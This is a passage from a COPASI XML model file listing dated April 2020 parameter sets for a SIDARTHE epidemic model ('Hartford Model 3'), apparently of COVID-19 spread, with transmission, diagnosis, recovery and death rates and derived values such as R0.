<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.15196935025916011" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.040952115684915788" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="1.8699859598069233" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="1.8699859598069233" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="1.8699859598069233" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.24879729459199196" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.125" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_18" name="Model3 - 4/23">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_18">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-23T02:59:32Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572662.9999998934" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1.0000001064960109" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="2.5475883169501072" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.50951766339002147" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.25475883169501073" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.12737941584750537" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.19636098994291223" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.19636098994291223" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.036076699631194982" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="1.8716975274562213" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="1.8716975274562213" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.16498630966870756" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.16498630966870756" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.27461818754219225" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="1.8716975274562213" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.125" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.041602062706714175" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="2.0000001064960111" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="2.0000001064960111" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.0680585173991335" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.0680585173991335" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.0727605367561237" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.43960449721089978" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.16660206270671418" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.2440232891341643" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="7.1307786119048585e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="7.130778611904859e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.4261557223809717e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="3.5653893059524293e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="0.99999999669999995" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.84460586719880792" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="2.8023456070045238" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.036076703473219576" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.84460586441160856" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="7.130778611904859e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.4261557223809717e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="7.1307786119048585e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="3.5653893059524293e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.19636098994291223" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.19636098994291223" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.036076699631194982" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.16498630966870756" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.16498630966870756" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.041602062706714175" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="1.8716975274562213" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="1.8716975274562213" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="1.8716975274562213" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.27461818754219225" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.125" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_17" name="Model3 - 4/25">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_17">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-26T12:39:26Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0000000204799999" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572662.9999974193" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1.00000256" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="2.5363371280587081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.50726742561174165" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.25363371280587083" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.12681685640293541" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.20527336547231523" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.20527336547231523" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.03710189675806147" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="1.8577301718274857" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="1.8577301718274857" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.18485270607563919" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.18485270607563919" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.32489113262157515" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="1.8577301718274857" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.125" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.04285234611674326" type="ModelValue" simulationType="fixed"/>
